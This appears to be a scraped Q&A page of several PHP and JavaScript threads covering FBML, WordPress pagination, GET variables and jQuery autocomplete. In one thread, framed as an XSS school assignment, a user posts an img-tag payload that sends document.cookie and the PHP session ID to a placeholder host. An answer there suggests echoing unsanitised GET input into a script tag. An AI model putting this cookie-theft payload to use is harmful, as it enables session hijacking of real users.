FBML to PHP variable - php

hello how to set a value in php variables from fbml(facebook markup language)
<fb:comments-count href=http://domain.com/view/24></fb:comments-count>
please share your idea :)

I think what you're trying to do is get the number of comments for a certain page. In that case you shouldn't do it via FBML but instead make a REST call: http://developers.facebook.com/docs/reference/fbml/comments_(XFBML)/
You'll see that you can do a call along the lines of https://api.facebook.com/method/fb:comments?access_token=https://api.facebook.com/method/fb:comments?access_token=FOO

Related

Get link to next page in post pagination (Wordpress)

I know about the link pages function (https://developer.wordpress.org/reference/functions/wp_link_pages/)
to output a link to the next and previous part of paginated posts. But this always automatically does the output. Is there a variable I can access (or a function that returns) the link only, so I can continue coding with it?
Yes, previous_post_link and next_post_link will allow this. See https://codex.wordpress.org/Function_Reference/previous_post_link and https://codex.wordpress.org/Function_Reference/next_post_link.
EDIT: I see that's not exactly what you need. It looks like you can set arguments to wp_link_pages to define the output. For example, this should provide clear output and just the link:
wp_link_pages(array('before'=>'',
'after'=>'',
'link_before'=>'',
'link_after'=>'',
'nextpagelink'=>'',
'previouspagelink'=>'',
'echo'=>'0'));
The 'echo' argument appears to specify whether or not to print the html or just return it, so you may also be able to just set that to 0 and parse your output from there. Hope this helps!

Pass $.variable in url

I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
&lt img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie&gt
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>

Change a value in a PHP variable using JavaScript

I have a value in a php variable $thumb_path="images/Gallery1/thumbs/";. I need to change this value to $thumb_path="images/Gallery2/thumbs/"; when I am clicking on Gallery2 Link n my project. Is it possible to change a value in a PHP variable using JavaScript?
Or is there any other way to do this?
JS is a client side language, PHP is parsed on server, so you can't change the php file itself with js... BUT: :)
You can manage it with GET:
$thumb_path="images/Gallery".(($_GET['gallery'] && preg_match('/^[0-9]+$/', $_GET['gallery'])) ? $_GET['gallery'] : "1")."/thumbs/";
now you can call your link like this:
http://www.page.com/yourphpfile.php?gallery=2
This will open gallery 2.
If you dont set ?gallery gallery 1 will shown as default.
Since JavaScript is a client-, and PHP is a server-side language, obviously you can't.
You can use some AJAX if possible. If this is some kind of dynamic variable (you'll getting this data from a form), you can change it with JavaScript.

Undefinded $_GET[' ...'] index

After making a javascript variable accesable into a php file the $_GET['something'] keeps saying undefined index.
Although the proper result gets displayed and being written into the xml.
If i try to initialise it my score no longer shows up for some reason.
How can i initalise this without it showing anything at al on my screen?
Regards.
If you do this with javascript:
window.location.href="index.php?scoreresult="+score
you have to access the variable in PHP using
$_GET['scoreresult']
instead of
$_GET['score']
If you make use of XSL to transform the XML, XSLT::setParameter may be interesting to you. It allows you to register (PHP)-variables for use inside a XSL-stylesheet.

jquery Autocomplete : autocomplete does not stop if string does not match

I used the auto-complete function in jquery. It's data source are the results from a php-back-end.
$("#ice_id").autocomplete("ice-ver.php", { extraParams : { flavour_id: $("#flavour_id").val() } });
Let us take following example:
We type in the flavour ID 3992 ...(and 3992 exists in the database and is properly returned by the php backend). If we type in now 3992999 the auto-complete function should top showing anything up ...but unfortunately it still does, (could the problem lie within the fact that I am using integers instead of strings or chars?)
Thanks in advance for any hints and
best regards
Daniyal
if it's showing something doesn't that mean there is a result from the php code? Check if it's really how you want it, and if you post it someone might be able to help
I agree with shyam. It seems like your PHP-code returns values. Try to request the PHP-script directly in a browser through the-url-to-php-script?flavour_id=3992999.
There are different autocomplete plugins for jquery. If you instead use the one at jquery ui (http://jqueryui.com/demos/autocomplete) your entered value are automatically passed to the URL-resource as the parameter "term". See if that helps you in pinning down the problem with the PHP-script.

Categories